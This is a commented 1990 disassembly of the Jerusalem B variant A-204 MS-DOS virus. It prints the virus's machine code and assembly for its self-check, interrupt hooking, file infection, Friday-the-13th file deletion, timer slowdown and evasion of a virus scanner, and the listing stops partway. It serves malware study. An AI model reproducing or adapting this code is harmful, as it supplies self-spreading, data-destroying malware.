Virus : Jerusalem Version B Variant A-204
Disassembled by : Righard Zwienenberg
                  Steenwijklaan 302
                  2541 RT  The Hague
                  The Netherlands
                  Data  : +31-70-3898822, V22,V22b,HST,MNP,CM
                  Voive : +31-70-3675379
FidoNet address : 2:512/2.3
  Used Software : ASMGEN, DEBUG and D86-Disassembler
           Date : 20 june 1990

Note : All Values are hex. If a value is followd by d (e.g. 30d) it means
30 decimal.

Note : This disassembly consists of two programs. The original program was
a dummy file (20h bytes long) containing 1Fh times 90 RET and 01h time 
C3 RET. 

0100 E9 92 00                JMP 0195		; JUMP -> 0195h

0103 db 2A,41,2D,32,30,34,2A 			; *A-204* never used

010A dw 00 01 ; Startaddress original program
010C dw 01 56 ; Startaddress-offset original program
010E db 00    ; Trigger for destruction (delete file)
              ; Always zero, but if it is Friday the 13th and the year is
              ; not equal 1987 this byte is set to one
010F dw 00 00 ; Storing place for original AX (read-only word)
0111 dw 20 00 ; Length of Original Program (0020h)
0113 dw A5 FE ; Storing place for original BX of INT 08h vector
0115 dw 00 F0 ; Storing place for original ES of INT 08h vector
0117 dw 60 14 ; Storing place for original BX of INT 21h vector
0119 dw 2B 02 ; Storing place for original ES of INT 21h vector
011B dw 56 05 ; Storing place for original BX of INT 24h vector
011D dw DE 0C ; Storing place for original ES of INT 24h vector
011F dw 40 7E ; Storing place for timer for 30 minutes trigger
              ; By init. set to 7E90h

              ; The following words are never used by the virus. The are used
              ; by a routine starting at 0398h which is executed when INT 21h
              ; is called with AH=DEh. This never happens in the code.
0121 dw 00 00 ;
0123 dw 00 00 ; 
0125 dw 00 00 ; 
0127 dw 00 00 ; 
0129 dw 00 00 ; 
012B dw 00 00 ; 
012D dw 00 E8 ; 
012F dw 06 EC ; 

0131 dw 91 16 ; Storing place for original ES
0133 dw 80 00 ; Storing place for BX. Never read again

0135 00 00 00 80 00

0139 dw 91 16 ; Storing place for original ES

013B 5C 00

013D dw 91 16 ; Storing place for original ES

013F 6C 00 ;

0141 dw 91 16 ; Temp. storing place for original ES
0143 dw 00 20 ; Temp. storing place for AX
0145 dw 0D 1F ; Temp. storing place for ES+10h
0147 dw 5F 21 ; Storing place for AX
0149 dw A1 16 ; Temp. storing place for ES+10h
014B dw 00 F0 ; Temp. storing place for AX
014D db 02    ; Temp. storing place for AL
014E db 00    ; COM/EXE indicator
              ; 0 = EXE-File
              ; 1 = COM-File
0151 dw 30 01 ; Temp. storing place for DX 
0153 dw 23 00 ; Temp. storing place for AX

0155 20 01 

0157 dw 4A 00 ; Read Only!!! The code only read this word to substract it
              ; from AX

0159 D4 06 D4 06

015D dw 98 03 ; Temp. Storing place to store AX
015F dw 10 07 ; Probably startaddress of virus in mem
0161 dw 84 19 ; Never used!!! 1984h is stored here by the code
0163 dw C5 00 ; 00C5h is being read and put back later by the code
0165 dw 99 03 ; Temp. storing place for AX

0167 1C 00 00 00 90 90 90 90 C3

0170 dw 05 00 ; Storing place for file handle (BX)
0172 dw 20 00 ; Storing place for file attributes
              ; bit 0 = read only
              ; bit 1 = hidden file
              ; bit 2 = system file
              ; bit 3 = volume label
              ; bit 4 = subdirectory
              ; bit 5 = archive bit
              ; bit 8 = shareable (Novell Network)
0174 dw D5 14 ; Storing place for file date (DX)
0176 dw 99 83 ; Storing place for file time (CX)
0178 dw 00 02 ; 0200h=512d Used as multiplier/divider
017A dw 10 00 ; 0001h=  1d Used as multiplier/divider
017C dw 20 3E ; Temp. storing place for AX
017E dw 00 00 ; Temp. storing place for DX
0180 dw B9 42 ; Storing place for DX of ASCIZ-Filename
0182 dw 1A 9B ; Storing place for DS of ASCIZ-Filename

0184 db 43,4F,4D,4D,41,4E,44,2E,43,4F,4D ; COMMAND.COM
                                         ; May not become infected

018F dw 01 00 ; Storing place for variable-result of free-memory-scan
              ; 0000h : not enough memory available 
              ; 0001h : enough memory available

0191 00 00 00 00 

0195 FC                      CLD		; Clear Direct
0196 B4 E0                   MOV AH,0E0		; This is the check if the
0198 CD 21                   INT 021		; virus is already active    
						; in memory. INT 21h with
						; AH=E0h will return AX=0300h
						; if the virus is active.
019A 80 FC E0		     CMP AH,0E0		; AH>=E0h?
019D 73 16		     JAE 01B5		; Yes: -> 01B5h  
019F 80 FC 03		     CMP AH,3		; AH<-03h?
01A2 72 11		     JB 01B5		; Yes: -> 01B5h
						; INT 21h with AH=
						; DDh,DEh,E0h
						; are self-defined.

						; SetUp for 
						; Executing original program 
						; We come here if an infected
						; program is executed and the
						; virus is already active in
						; memory.
01A4 B4 DD                   MOV AH,0DD         ;
01A6 BF 00 01                MOV DI,0100	; Destination Index = 0100h
01A9 BE 10 07                MOV SI,0710        ; Source Index = 0710h
01AC 03 F7                   ADD SI,DI		; Source Index:= 0810h
						; At this place the original
						; Program is located
01AE 2E 8B 8D 11 00          CS MOV CX,W[DI+011]; CX=20h (length original
						; Program)
01B3 CD 21                   INT 021		; 

						; Here we come when the virus
						; is not yet in memory
01B5 8C C8                   MOV AX,CS		; AX=Code Segment 
01B7 05 10 00                ADD AX,010		; AX:=AX+10h
01BA 8E D0                   MOV SS,AX		; Stack Segment:=AX
01BC BC 00 07                MOV SP,0700	; StackPointer = 0700h
01BF 50                      PUSH AX		; Store AX
01C0 B8 C5 00                MOV AX,0C5		; AX = C5h
01C3 50                      PUSH AX		; Store AX
01C4 CB                      RETF		; -> C5h

01C5 FC                      CLD		; Clear Direct
01C6 06                      PUSH ES		; Store ES
01C7 2E 8C 06 31 00          CS MOV W[031],ES	; Store ES 
01CC 2E 8C 06 39 00          CS MOV W[039],ES	; in storage places
01D1 2E 8C 06 3D 00          CS MOV W[03D],ES	;
01D6 2E 8C 06 41 00          CS MOV W[041],ES	;
01DB 8C C0                   MOV AX,ES		; AX=ES
01DD 05 10 00                ADD AX,010		; AX=AX+10h
01E0 2E 01 06 49 00          CS ADD W[049],AX	; Add AX (ES+10h) to 0149h
01E5 2E 01 06 45 00          CS ADD W[045],AX	; and 0145h
01EA B4 E0                   MOV AH,0E0		; AH=E0h (Self defined)
01EC CD 21                   INT 021		; CALL INT 21h

01EE 80 FC E0                CMP AH,0E0		; AH>=0Eh?
01F1 73 13                   JAE 0206		; Yes: -> 0206
01F3 80 FC 03                CMP AH,3		; AH=03h? Must be if the
						; viruscode is in memory
						; and interrupt 21h is called
						; with AH=E0h.

01F6 07                      POP ES		; Restore original ES
01F7 2E 8E 16 45 00          CS MOV SS,W[045]   ; SS=ES+10h
01FC 2E 8B 26 43 00          CS MOV SP,W[043]   ;
0201 2E FF 2E 47 00          CS JMP D[047]      ;

0206 33 C0                   XOR AX,AX		; AX=0000h
0208 8E C0                   MOV ES,AX		; ES=0000h
020A 26 A1 FC 03             ES MOV AX,W[03FC]

						; Here the A-204 variant 
						; differs for the first
						; time from the original
						; Jerusalem Version B virus.
020E 26 A0 FE 03             ES MOV AL,B[03FE]	; These two line have been
0212 2E A3 4B 00             CS MOV W[04B],AX	; changed in order
						; to avoid being
						; detected by ViruScan from
						; John McAfee.

0216 2E A2 4D 00             CS MOV B[04D],AL
021A 26 C7 06 FC 03 F3 A5    ES MOV W[03FC],0A5F3
0221 26 C6 06 FE 03 CB       ES MOV B[03FE],0CB
0227 58                      POP AX
0228 05 10 00                ADD AX,010
022B 8E C0                   MOV ES,AX
022D 0E                      PUSH CS		; Store CS
022E 1F                      POP DS		; DS=CS
022F B9 10 07                MOV CX,0710	; CX=0710h
0232 D1 E9                   SHR CX,1		; CX >> 1 (CX:=0308h)
0234 33 F6                   XOR SI,SI		; SI=0000h
0236 8B FE                   MOV DI,SI		; DI=0000h
0238 06                      PUSH ES		; Store ES
0239 B8 42 01                MOV AX,0142	; AX=0142h
023C 50                      PUSH AX		; Store AX
023D EA FC 03 00 00          JMP 0:03FC

0242 8C C8                   MOV AX,CS		; AX=CS
0244 8E D0                   MOV SS,AX		; SS=CS
0246 BC 00 07                MOV SP,0700	; SP=0700h
0249 33 C0                   XOR AX,AX		; AX=0000h
024B 8E D8                   MOV DS,AX		; DS=0000h
024D 2E A1 4B 00             CS MOV AX,W[04B]	; Restore AX
0251 A3 FC 03                MOV W[03FC],AX	; Store AX
0254 2E A0 4D 00             CS MOV AL,B[04D]	; Restore AL
0258 A2 FE 03                MOV B[03FE],AL	; Store AL
025B 8B DC                   MOV BX,SP		; BX=SP
025D B1 04                   MOV CL,4		; CL=04h
025F D3 EB                   SHR BX,CL		; BX >> 4
0261 83 C3 10                ADD BX,010		; BX=BX+10h
0264 2E 89 1E 33 00          CS MOV W[033],BX	; Store BX. Why I don't know,
						; the storing place is never
						; read again
0269 B4 4A                   MOV AH,04A		; 
026B 2E 8E 06 31 00          CS MOV ES,W[031]	; Restore ES
0270 CD 21                   INT 021		; Adjust Memory Block Size
						; (SETBLOCK)

0272 B8 21 35                MOV AX,03521	; Get original INT 21h
0275 CD 21                   INT 021		; vector

0277 2E 89 1E 17 00          CS MOV W[017],BX	; Store BX and ES of INT 21h
027C 2E 8C 06 19 00          CS MOV W[019],ES	; vector
0281 0E                      PUSH CS		; Store CS
0282 1F                      POP DS		; DS=CS
0283 BA 5B 02                MOV DX,025B	; DX=025Bh
0286 B8 21 25                MOV AX,02521   	; Set new INT 21h
0289 CD 21                   INT 021		; vector on DS:025Bh

028B 8E 06 31 00             MOV ES,W[031]	; Restore original ES
028F 26 8E 06 2C 00          ES MOV ES,W[02C]	;
0294 33 FF                   XOR DI,DI		; DI=0000h
0296 B9 FF 7F                MOV CX,07FFF	; CX=7FFFh
0299 32 C0                   XOR AL,AL		; AL=0000h
029B F2 AE                   REPNE SCASB	; 
029D 26 38 05                ES CMP B[DI],AL	;
02A0 E0 F9                   LOOPNE 029B	; No Flags: DEC CX -> 02A2h
						; IF CX<>0 and not equal
						; -> 029B
02A2 8B D7                   MOV DX,DI		; DX=DI
02A4 83 C2 03                ADD DX,3		; DX=DX+03h
02A7 B8 00 4B                MOV AX,04B00	; AX=4B00h
02AA 06                      PUSH ES		; Store ES
02AB 1F                      POP DS		; Restore DS (DS:=ES)
02AC 0E                      PUSH CS		; Store CS
02AD 07                      POP ES		; Restore ES (ES:=CS)
02AE BB 35 00                MOV BX,035		; BX=35h
02B1 1E                      PUSH DS		; Store Registers
02B2 06                      PUSH ES
02B3 50                      PUSH AX
02B4 53                      PUSH BX
02B5 51                      PUSH CX
02B6 52                      PUSH DX

02B7 B4 2A                   MOV AH,02A 	; Get Current Date
02B9 CD 21                   INT 021		; DL=day
						; DH=month
						; CX=year
						; AL=Day of the week

02BB 2E C6 06 0E 00 00       CS MOV B[0E],0	; Set Trigger for deleting
						; infected files to 00h
02C1 81 F9 C3 07             CMP CX,07C3	; Is year 1987 ?
02C5 74 30                   JE 02F7		; Yes: -> 02F7h
02C7 3C 05                   CMP AL,5		; Is it Friday ?
02C9 75 0D                   JNE 02D8		; No: -> 02D8h
02CB 80 FA 0D                CMP DL,0D		; Is it 13th ?
02CE 75 08                   JNE 02D8		; No: -> 02D8h
						; Yes: it is Friday
						; the 13th and the
						; year is not equal 1987
02D0 2E FE 06 0E 00          CS INC B[0E]	; Set Trigger for deleting
						; infected files to 01h
02D5 EB 20                   JMP 02F7		; JUMP -> 02F7h

02D7 90                      NOP

02D8 B8 08 35                MOV AX,03508	; Get original INT 8h
02DB CD 21                   INT 021		; vector

02DD 2E 89 1E 13 00          CS MOV W[013],BX	; Store original BX
02E2 2E 8C 06 15 00          CS MOV W[015],ES	; and ES of INT 08h vector
02E7 0E                      PUSH CS
02E8 1F                      POP DS
02E9 C7 06 1F 00 90 7E       MOV W[01F],07E90	; Store 30d minutes into
						; timer interrupt. This
						; value is decreased by
						; one 18.2 times per second
02EF B8 08 25                MOV AX,02508	; Set new INT 8h vector
02F2 BA 1E 02                MOV DX,021E	; to DS:021Eh
02F5 CD 21                   INT 021		; 

02F7 5A                      POP DX		; Restore Registers
02F8 59                      POP CX
02F9 5B                      POP BX
02FA 58                      POP AX
02FB 07                      POP ES
02FC 1F                      POP DS
02FD 9C                      PUSHF		; Store Flags
02FE 2E FF 1E 17 00          CS CALL D[017]	; Call original INT 21h
						; address

0303 1E                      PUSH DS		; Restore DS
0304 07                      POP ES		; Store ES
0305 B4 49                   MOV AH,049		; Free Memory
0307 CD 21                   INT 021		;

0309 B4 4D                   MOV AH,04D		; Get ExitCode of
030B CD 21                   INT 021		; SubProgram (WAIT) 
						; Stored in AL

030D B4 31                   MOV AH,031		; AX=31[AL]h
030F BA 00 06                MOV DX,0600	; DX=600h
0312 B1 04                   MOV CL,4		; CL=04h
0314 D3 EA                   SHR DX,CL		; DX >> 4 (DX=60H)
0316 83 C2 10                ADD DX,010		; DX=DX+10h (DX=70h)
						; Program Size in Paragraphs
						; is 70h Bytes
0319 CD 21                   INT 021		; Terminate but Stay Resident

031B 32 C0                   XOR AL,AL		; Clear AL
031D CF                      IRET		; Interrupt Return

						; 031Eh is the new INT 08h
						; vector. This routine is
						; called 18.2 times per
						; second
031E 2E 83 3E 1F 00 02       CS CMP W[01F],2	; Timer decreased til 02h?
0324 75 17                   JNE 033D		; No: -> 033D
	
						; Yes: now 32 minutes are
						; passed since infection
0326 50                      PUSH AX		; Store Registers
0327 53                      PUSH BX
0328 51                      PUSH CX
0329 52                      PUSH DX
032A 55                      PUSH BP

032B B8 02 06                MOV AX,0602	; Scroll box with coordinates
032E B7 87                   MOV BH,087		; (5h,5h),(10h,10h) two
0330 B9 05 05                MOV CX,0505	; lines upwards
0333 BA 10 10                MOV DX,01010	; 
0336 CD 10                   INT 010		; 

0338 5D                      POP BP		; Restore Registers
0339 5A                      POP DX
033A 59                      POP CX
033B 5B                      POP BX
033C 58                      POP AX
033D 2E FF 0E 1F 00          CS DEC W[01F]	; Decrease Timer-Trigger
						; This now becomes 01h
0342 75 12                   JNE 0356		; If 0: -> 0356h
0344 2E C7 06 1F 00 01 00    CS MOV W[01F],1	; Timer-Trigger set to 01h
034B 50                      PUSH AX		; Store AX
034C 51                      PUSH CX		; Store CX
034D 56                      PUSH SI		; Store SI
034E B9 01 40                MOV CX,04001	; CX=4001h
0351 F3 AC                   REP LODSB		; Load byte [SI] into AL and
						; advance SI, done CX times.
						; This is the routine which 
						; decreases the speed of the
						; machine til 1/5th of the
						; original. 32 minutes after
						; infection this routine is
						; executes 18.2 times a second
0353 5E                      POP SI		; Restore SI
0354 59                      POP CX		; Restore CX
0355 58                      POP AX		; Restore AX
0356 2E FF 2E 13 00          CS JMP D[013]	; Jump to original INT 08h
						; address

						; Here we come if INT 21h is 
						; called
035B 9C                      PUSHF		; Store Flags
035C 80 FC E0                CMP AH,0E0		; AH=0Eh ?
035F 75 05                   JNE 0366		; No: -> 0366h
0361 B8 00 03                MOV AX,0300	; AX=0300h
0364 9D                      POPF		; Restore Flags
0365 CF                      IRET		; Interrupt Return

0366 80 FC DD                CMP AH,0DD		; AH=DDh?
0369 74 13                   JE 037E		; Yes: -> 037Eh
036B 80 FC DE                CMP AH,0DE		; AH=DEh?
036E 74 28                   JE 0398		; Yes: -> 0398h
						; INT 21h is never called
						; with AH=DEh. So the routine
						; at 0398h is never used
						; (seems)

0370 3D 00 4B                CMP AX,04B00	; Load & Execute ? 
0373 75 03                   JNE 0378		; No: -> 0378h
0375 E9 B4 00                JMP 042C		; Yes: -> 042Ch
0378 9D                      POPF		; Restore Flags
0379 2E FF 2E 17 00          CS JMP D[017]	; Jmp to original
						; INT 21h address

						; Execute original program
037E 58                      POP AX
037F 58                      POP AX		; Restore AX
0380 B8 00 01                MOV AX,0100	; AX=0100h
0383 2E A3 0A 00             CS MOV W[0A],AX	; Store AX
0387 58                      POP AX		; Restore AX
0388 2E A3 0C 00             CS MOV W[0C],AX	; Store AX
038C F3 A4                   REP MOVSB		;
038E 9D                      POPF		; Restore Flags
038F 2E A1 0F 00             CS MOV AX,W[0F]	; AX=0000h
0393 2E FF 2E 0A 00          CS JMP D[0A]	; JUMP -> CS:0100h
						; This executes the original
						; program


						; This routine is called
						; when INT 21h with AH=DEh
						; is called which never
						; happens in the code. I
						; have to investigate it 
						; a bit more. Til then
						; it remains without comments.
0398 83 C4 06                ADD SP,6
039B 9D                      POPF
039C 8C C8                   MOV AX,CS
039E 8E D0                   MOV SS,AX
03A0 BC 10 07                MOV SP,0710
03A3 06                      PUSH ES
03A4 06                      PUSH ES
03A5 33 FF                   XOR DI,DI	
03A7 0E                      PUSH CS
03A8 07                      POP ES
03A9 B9 10 00                MOV CX,010
03AC 8B F3                   MOV SI,BX
03AE BF 21 00                MOV DI,021
03B1 F3 A4                   REP MOVSB
03B3 8C D8                   MOV AX,DS
03B5 8E C0                   MOV ES,AX
03B7 2E F7 26 7A 00          CS MUL W[07A]
03BC 2E 03 06 2B 00          CS ADD AX,W[02B]
03C1 83 D2 00                ADC DX,0
03C4 2E F7 36 7A 00          CS DIV W[07A]
03C9 8E D8                   MOV DS,AX
03CB 8B F2                   MOV SI,DX
03CD 8B FA                   MOV DI,DX
03CF 8C C5                   MOV BP,ES
03D1 2E 8B 1E 2F 00          CS MOV BX,W[02F]
03D6 0B DB                   OR BX,BX
03D8 74 13                   JE 03ED
03DA B9 00 80                MOV CX,08000
03DD F3 A5                   REP MOVSW
03DF 05 00 10                ADD AX,01000
03E2 81 C5 00 10             ADD BP,01000
03E6 8E D8                   MOV DS,AX
03E8 8E C5                   MOV ES,BP
03EA 4B                      DEC BX
03EB 75 ED                   JNE 03DA
03ED 2E 8B 0E 2D 00          CS MOV CX,W[02D]
03F2 F3 A4                   REP MOVSB
03F4 58                      POP AX	
03F5 50                      PUSH AX	
03F6 05 10 00                ADD AX,010
03F9 2E 01 06 29 00          CS ADD W[029],AX
03FE 2E 01 06 25 00          CS ADD W[025],AX
0403 2E A1 21 00             CS MOV AX,W[021]
0407 1F                      POP DS	
0408 07                      POP ES	
0409 2E 8E 16 29 00          CS MOV SS,W[029]
040E 2E 8B 26 27 00          CS MOV SP,W[027]
0413 2E FF 2E 23 00          CS JMP D[023]

			     			; We come here if B[0Eh]=1,
						; which means Friday 13th,
						; year<>1987. This routine						
						; deletes the loaded file.
0418 33 C9                   XOR CX,CX		; Clear all bits of the File
						; Attribute
041A B8 01 43                MOV AX,04301	; 
041D CD 21                   INT 021		; Put File Atributes

041F B4 41                   MOV AH,041		;
0421 CD 21                   INT 021		; Delete a File (Unlink)

0423 B8 00 4B                MOV AX,04B00

0426 9D                      POPF		; Get Flags
0427 2E FF 2E 17 00          CS JMP D[017]

						; We come here each time a
						; file is loaded with the
						; load and execute call
						; (INT 21h, AX=4B00h)
042C 2E 80 3E 0E 00 01       CS CMP B[0E],1     ; Is it Friday 13th,
						; year<>1987?
0432 74 E4                   JE 0418		; Yes: -> 0418h
0434 2E C7 06 70 00 FF FF    CS MOV W[070],-1	; File Handle -1 ???
043B 2E C7 06 8F 00 00 00    CS MOV W[08F],0	; Clear Memory-Available
						; variable
0442 2E 89 16 80 00          CS MOV W[080],DX	; DS:DX -> ASCIZ Filename,
0447 2E 8C 1E 82 00          CS MOV W[082],DS	; Store DX and DS
044C 50                      PUSH AX
044D 53                      PUSH BX
044E 51                      PUSH CX
044F 52                      PUSH DX
0450 56                      PUSH SI
0451 57                      PUSH DI
0452 1E                      PUSH DS
0453 06                      PUSH ES
0454 FC                      CLD
0455 8B FA                   MOV DI,DX		; 
0457 32 D2                   XOR DL,DL		; DL=00h : Take Default Drive
0459 80 7D 01 3A             CMP B[DI+1],03A	; ':' at 2nd place in ASCIZ-
						; filename
045D 75 05                   JNE 0464		; No: -> 0464h
045F 8A 15                   MOV DL,B[DI]	; Get Drive Letter
0461 80 E2 1F                AND DL,01F		; Get Drive Code
						; 0 = Default
						; 1 = A
						; 2 = B, etc.
0464 B4 36                   MOV AH,036		;
0466 CD 21                   INT 021		; Get disk space
						; BX=# of available clusters
						; CX=Bytes per sector
						; DX=Total clusters

0468 3D FF FF                CMP AX,-1		; No Sectors Free?
046B 75 03                   JNE 0470		; No: -> 0470h
046D E9 77 02                JMP 06E7		; Yes: -> 06E7h


0470 F7 E3                   MUL BX		; Calculate Free Space
0472 F7 E1                   MUL CX		;
0474 0B D2                   OR DX,DX		;
0476 75 05                   JNE 047D		; 
0478 3D 10 07                CMP AX,0710	; 1808 Bytes Free?
047B 72 F0                   JB 046D		; No: -> 046Dh
047D 2E 8B 16 80 00          CS MOV DX,W[080]	; Restore DX's ASCIZ Filename
0482 1E                      PUSH DS
0483 07                      POP ES
0484 32 C0                   XOR AL,AL		; AL=00h
0486 B9 41 00                MOV CX,041		;
0489 F2 AE                   REPNE SCASB	; Check if filename
048B 2E 8B 36 80 00          CS MOV SI,W[080]	; is in UPPERCASE
0490 8A 04                   MOV AL,B[SI]	;
0492 0A C0                   OR AL,AL		; All UPPERRCASE?
0494 74 0E                   JE 04A4		; IF so: -> 04A4h
0496 3C 61                   CMP AL,061		; AL<'a' ?
0498 72 07                   JB 04A1		; Yes: -> 04A1h
049A 3C 7A                   CMP AL,07A		; AL>'z' ?
049C 77 03                   JA 04A1		; Yes: -> 04A1h
049E 80 2C 20                SUB B[SI],020	; Transfer filename
						; into UPPERCASE
04A1 46                      INC SI		; SI=SI+1
04A2 EB EC                   JMP 0490

04A4 B9 0B 00                MOV CX,0B		; CX=0Bh
04A7 2B F1                   SUB SI,CX		; Return SI to start
						; of Filename
04A9 BF 84 00                MOV DI,084		; Start of COMMAND.COM 
						; filename
04AC 0E                      PUSH CS
04AD 07                      POP ES
04AE B9 0B 00                MOV CX,0B
04B1 F3 A6                   REPE CMPSB		; Filename=COMMAND.COM ?
04B3 75 03                   JNE 04B8		; No: -> 04B8h
04B5 E9 2F 02                JMP 06E7		; Yes: -> 06E7h

						; We come here if the 
						; loaded program is not
						; COMMAND.COM
04B8 B8 00 43                MOV AX,04300 	; 
04BB CD 21                   INT 021		; Get File Attributes

04BD 72 05                   JB 04C4		; If Error: -> 04C4h
04BF 2E 89 0E 72 00          CS MOV W[072],CX	; Store File Attributes
04C4 72 25                   JB 04EB		; If Error: -> 04EBh
04C6 32 C0                   XOR AL,AL		; AL=00h
04C8 2E A2 4E 00             CS MOV B[04E],AL	; Dummy=0
04CC 1E                      PUSH DS		;
04CD 07                      POP ES		;
04CE 8B FA                   MOV DI,DX		; 
04D0 B9 41 00                MOV CX,041		;
04D3 F2 AE                   REPNE SCASB	;
04D5 80 7D FE 4D             CMP B[DI-2],04D	; "M" ?
04D9 74 0B                   JE 04E6		; Yes: -> 04E6h
04DB 80 7D FE 6D             CMP B[DI-2],06D	; "m" ?
04DF 74 05                   JE 04E6		; Yes: -> 04E6h
04E1 2E FE 06 4E 00          CS INC B[04E]	; Dummy=Dummy+1
04E6 B8 00 3D                MOV AX,03D00	; Open Disk File with
04E9 CD 21                   INT 021		; handle in compatibility
						; mode
						; DS:DX : -> ASCIZ Filename

04EB 72 5A                   JB 0547		; IF Error: -> 0547h
04ED 2E A3 70 00             CS MOV W[070],AX	; Store File Handle
04F1 8B D8                   MOV BX,AX		; BX=File Handle
04F3 B8 02 42                MOV AX,04202	; Move File Read/Write
						; Pointer (LSEEK) with
						; offset from end of file
04F6 B9 FF FF                MOV CX,-1		; CX:DX = offset in bytes
04F9 BA FB FF                MOV DX,-5		; 
04FC CD 21                   INT 021		;
						; DX:AX = new absolute
						; offset from beginning of
						; file

04FE 72 EB                   JB 04EB		; If Error: -> 04EBh
0500 05 05 00                ADD AX,5		; ????
0503 2E A3 11 00             CS MOV W[011],AX	; Store Length of File

0507 B9 05 00                MOV CX,5		; Read from a file with
050A BA 6B 00                MOV DX,06B		; handle BX 5h bytes into
050D 8C C8                   MOV AX,CS		; DS:DX buffer
050F 8E D8                   MOV DS,AX		;
0511 8E C0                   MOV ES,AX		;
0513 B4 3F                   MOV AH,03F		;
0515 CD 21                   INT 021		;

0517 8B FA                   MOV DI,DX		; DI=DX=6Bh
0519 BE 05 00                MOV SI,5		; SI=05h
051C F3 A6                   REPE CMPSB		; Check first 5 bytes to see
						; if a file already is
						; infected
051E 75 07                   JNE 0527		; If not: -> 0527h
0520 B4 3E                   MOV AH,03E		; Close a file with
0522 CD 21                   INT 021		; handle

0524 E9 C0 01                JMP 06E7		; Jump -> 06E7h

0527 B8 24 35                MOV AX,03524	; Get original int 24h
052A CD 21                   INT 021		; vector. Stored in ES:BX

052C 89 1E 1B 00             MOV W[01B],BX      ; Store BX of INT 24h vector
0530 8C 06 1D 00             MOV W[01D],ES	; Store ES of INT 24h vector
0534 BA 1B 02                MOV DX,021B	; Set new int 24h vector
0537 B8 24 25                MOV AX,02524	; to DS:DX 
053A CD 21                   INT 021		;

053C C5 16 80 00             LDS DX,[080]	; DS:DX=Filename
0540 33 C9                   XOR CX,CX		; Get fileattributes
0542 B8 01 43                MOV AX,04301	; Put File Attributes
0545 CD 21                   INT 021		; (CHMOD)

0547 72 3B                   JB 0584		; If Error: -> 0584h
0549 2E 8B 1E 70 00          CS MOV BX,W[070]   ; Close a file with 
054E B4 3E                   MOV AH,03E		; handle BX
0550 CD 21                   INT 021		; 

0552 2E C7 06 70 00 FF FF    CS MOV W[070],-1	; File Handle=-1 ???
0559 B8 02 3D                MOV AX,03D02	; Open File with 
055C CD 21                   INT 021		; Handle in READ/WRITE mode

055E 72 24                   JB 0584		; If Error: -> 0584h
0560 2E A3 70 00             CS MOV W[070],AX	; Store File Handle
0564 8C C8                   MOV AX,CS
0566 8E D8                   MOV DS,AX
0568 8E C0                   MOV ES,AX

056A 8B 1E 70 00             MOV BX,W[070]	; BX=File Handle
056E B8 00 57                MOV AX,05700	; Get File' date/time-
0571 CD 21                   INT 021		; stamp

0573 89 16 74 00             MOV W[074],DX	; Move File Read/Write Pointer
0577 89 0E 76 00             MOV W[076],CX	; (LSEEK) with offset from 
057B B8 00 42                MOV AX,04200	; beginning of file with 
057E 33 C9                   XOR CX,CX		; CX:DX bytes
0580 8B D1                   MOV DX,CX		; 
0582 CD 21                   INT 021		; 

0584 72 3D                   JB 05C3		; If Error: -> 05C3h
0586 80 3E 4E 00 00          CMP B[04E],0	; '0'?
058B 74 03                   JE 0590		; Yes: -> 0590h
058D EB 57                   JMP 05E6		; JUMP -> 05E6h

058F 90                      NOP

0590 BB 00 10                MOV BX,01000	; Number of 16d-byte para-
						; graphs BX=1000h For COM-
						; files there are 1000h 16d
						; bytes paragrahs available
0593 B4 48                   MOV AH,048		; 
0595 CD 21                   INT 021		; Allocate Memory

0597 73 0B                   JAE 05A4		; If enough memory available
						; -> 05A4h
0599 B4 3E                   MOV AH,03E		; Close a file with
059B 8B 1E 70 00             MOV BX,W[070]	; handle BX
059F CD 21                   INT 021		; 

05A1 E9 43 01                JMP 06E7		; JUMP -> 06E7h

05A4 FF 06 8F 00             INC W[08F]		; Set Memory-Available
						; Variable (0001h)
05A8 8E C0                   MOV ES,AX		;
05AA 33 F6                   XOR SI,SI		; SI=0000h
05AC 8B FE                   MOV DI,SI		; DI=0000h
05AE B9 10 07                MOV CX,0710	; CX=0710h (1808d)
						; length of virus
05B1 F3 A4                   REP MOVSB		; Put virus code at begin-
						; ning of buffer ES:DI
05B3 8B D7                   MOV DX,DI		; DX=DI=0710h
05B5 8B 0E 11 00             MOV CX,W[011]	; Restore Length of File 
05B9 8B 1E 70 00             MOV BX,W[070]	; Restore File Handle
05BD 06                      PUSH ES		; Read from a file with 
05BE 1F                      POP DS		; handle CX (length
05BF B4 3F                   MOV AH,03F		; of file) bytes in buffer
05C1 CD 21                   INT 021		; DS:DX

05C3 72 1C                   JB 05E1		; If Error: -> 05E1h
05C5 03 F9                   ADD DI,CX		; DI=Length of original
						; file+0710h (length of
						; viruscode)+05h
05C7 33 C9                   XOR CX,CX		; CX=0000h
05C9 8B D1                   MOV DX,CX		; Move file read/write
05CB B8 00 42                MOV AX,04200	; pointer with offset from
05CE CD 21                   INT 021		; beginning of file

05D0 BE 05 00                MOV SI,5		; 
05D3 B9 05 00                MOV CX,5		;
05D6 F3 2E A4                REP CS MOVSB	;
05D9 8B CF                   MOV CX,DI		; CX=0715h(1813d)+length of
						; original code
05DB 33 D2                   XOR DX,DX		; DX=0000h
05DD B4 40                   MOV AH,040		; Write to file with handle
05DF CD 21                   INT 021		; CX bytes

05E1 72 0D                   JB 05F0		; If Error: -> 05F0h
05E3 E9 BC 00                JMP 06A2		; JUMP -> 06A2h

05E6 B9 1C 00                MOV CX,01C		; Read CX (1Ch) bytes from
05E9 BA 4F 00                MOV DX,04F		; file with handle
05EC B4 3F                   MOV AH,03F		;
05EE CD 21                   INT 021		;

05F0 72 4A                   JB 063C		; If Error: -> 063Ch
05F2 C7 06 61 00 84 19       MOV W[061],01984	; Store 1984h=6532d
05F8 A1 5D 00                MOV AX,W[05D]	; 
05FB A3 45 00                MOV W[045],AX	; 
05FE A1 5F 00                MOV AX,W[05F]	; 
0601 A3 43 00                MOV W[043],AX	; 
0604 A1 63 00                MOV AX,W[063]	;
0607 A3 47 00                MOV W[047],AX	;
060A A1 65 00                MOV AX,W[065]	;
060D A3 49 00                MOV W[049],AX	;
0610 A1 53 00                MOV AX,W[053]	;
0613 83 3E 51 00 00          CMP W[051],0	; '0000'?
0618 74 01                   JE 061B		; Yes: -> 061Bh
061A 48                      DEC AX		; AX=AX-01h
061B F7 26 78 00             MUL W[078]		;
061F 03 06 51 00             ADD AX,W[051]	;
0623 83 D2 00                ADC DX,0		;
0626 05 0F 00                ADD AX,0F		;
0629 83 D2 00                ADC DX,0		;
062C 25 F0 FF                AND AX,-010	;
062F A3 7C 00                MOV W[07C],AX	; Store AX
0632 89 16 7E 00             MOV W[07E],DX	; Store DX
0636 05 10 07                ADD AX,0710	; AX=AX+1808
0639 83 D2 00                ADC DX,0		;
063C 72 3A                   JB 0678		; If Error :-> 0678h
